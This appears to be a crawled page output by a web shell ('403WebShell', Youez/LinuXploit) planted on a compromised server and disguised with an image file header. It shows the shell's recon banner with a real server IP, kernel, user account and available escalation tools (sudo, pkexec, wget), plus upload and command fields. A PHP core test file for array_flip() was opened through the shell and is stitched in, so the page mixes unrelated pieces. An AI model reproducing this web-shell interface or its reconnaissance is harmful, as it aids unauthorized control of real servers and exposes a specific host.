????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.15.25.60
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/array/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/array/array_flip_variation2.phpt
--TEST--
Test array_flip() function : usage variations - 'input' array with different keys
--FILE--
<?php
/* Prototype  : array array_flip(array $input)
 * Description: Return array with key <-> value flipped 
 * Source code: ext/standard/array.c
*/

/*
* Trying different keys in $input array argument
*/

echo "*** Testing array_flip() : different keys for 'input' array argument ***\n";

// different heredoc strings
$empty_heredoc = <<<EOT1
EOT1;
  
$simple_heredoc = <<<EOT4
simple
EOT4;

$multiline_heredoc = <<<EOT7
multiline heredoc with 123 and
speci@! ch@r$...checking\nand\talso
EOT7;
  
$input = array(
  // default key
  'one',  //expected: default key 0, value will be replaced by 'bool_key4'  

  // numeric keys
  1 => 'int_key', // expected: value will be replaced by 'bool_key3'
  -2 => 'negative_key',
  8.9 => 'float_key', 
  012 => 'octal_key',
  0x34 => 'hex_key',

  // string keys
  'key' => 'string_key1',
  "two" => 'string_key2',
  '' => 'string_key3',
  "" => 'string_key4',
  " " => 'string_key5',
  
  // bool keys
  true => 'bool_key1',
  false => 'bool_key2',
  TRUE => 'bool_key3', 
  FALSE => 'bool_key4',

  // null keys
  null => 'null_key1',  // expected: value will be replaced by 'null_key2'
  NULL => 'null_key2',

  // binary key
  "a".chr(0)."b" => 'binary_key1',
  b"binary" => 'binary_key2',

  //heredoc keys
  $empty_heredoc => 'empty_heredoc',
  $simple_heredoc => 'simple_heredoc',
  $multiline_heredoc => 'multiline_heredoc',
);
   
var_dump( array_flip($input) );

echo "Done"
?>
--EXPECTF--
*** Testing array_flip() : different keys for 'input' array argument ***
array(14) {
  ["bool_key4"]=>
  int(0)
  ["bool_key3"]=>
  int(1)
  ["negative_key"]=>
  int(-2)
  ["float_key"]=>
  int(8)
  ["octal_key"]=>
  int(10)
  ["hex_key"]=>
  int(52)
  ["string_key1"]=>
  string(3) "key"
  ["string_key2"]=>
  string(3) "two"
  ["empty_heredoc"]=>
  string(0) ""
  ["string_key5"]=>
  string(1) " "
  ["binary_key1"]=>
  string(3) "ab"
  ["binary_key2"]=>
  string(6) "binary"
  ["simple_heredoc"]=>
  string(6) "simple"
  ["multiline_heredoc"]=>
  string(6%d) "multiline heredoc with 123 and
speci@! ch@r$...checking
and	also"
}
Done

Youez - 2016 - github.com/yon3zu
LinuXploit